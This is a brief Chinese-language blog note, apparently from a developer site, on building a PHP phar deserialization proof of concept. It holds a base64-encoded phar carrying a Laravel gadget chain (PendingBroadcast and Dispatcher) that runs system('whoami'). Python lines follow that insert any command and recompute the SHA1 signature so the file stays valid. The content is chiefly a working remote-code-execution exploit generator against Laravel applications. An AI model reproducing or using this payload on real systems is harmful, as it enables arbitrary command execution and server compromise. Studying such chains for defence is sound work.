php phar反序列化POC编写笔记

具体结构不细究,主要方便写poc代码,比如有如下文件内容:
在这里插入图片描述

文件内容如下:

file = base64.b64decode("PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQp9AQAAAQAAABEAAAABAAAAAABHAQAATzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo2OiJ3aG9hbWkiO319CAAAAHRlc3QudHh0BAAAACpdBmYEAAAADH5/2KQBAAAAAAAAdGVzdO4PPAt4/NUWNWXWAzOoVlseOkFwAgAAAEdCTUI=")

反序列化的后28位中,最后8位固定,前20位为sha1(file[:-28]).digest()

data = file[:-28]

data = data.replace(b's:6:"whoami"',
                    b's:' + bytes(str(len(cmd)), encoding="utf-8") + b':"' + bytes(cmd, encoding='utf-8') + b'"')
final = file[-8:]  # 后8位固定

所以最终如果要修改文件

newfile = data + sha1(data).digest() + final

相关推荐

  1. tomcat序列

    2024-04-02 23:12:01       37 阅读
  2. PHP序列

    2024-04-02 23:12:01       19 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-02 23:12:01       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-02 23:12:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-02 23:12:01       20 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-02 23:12:01       20 阅读

热门阅读

  1. 11、Cocos Creator 2D 渲染组件:Label 组件

    2024-04-02 23:12:01       15 阅读
  2. 宽表的优缺点,你明白吗?

    2024-04-02 23:12:01       16 阅读
  3. Google人才选拔的独特视角

    2024-04-02 23:12:01       16 阅读
  4. 一文读懂485通讯协议

    2024-04-02 23:12:01       13 阅读
  5. 系统学习Docker:1_Docker简介以及2_安装Docker

    2024-04-02 23:12:01       20 阅读
  6. vi/vim编辑器

    2024-04-02 23:12:01       17 阅读
  7. 开源中文大语言模型汇总

    2024-04-02 23:12:01       16 阅读
  8. pip/conda导出或导入环境

    2024-04-02 23:12:01       14 阅读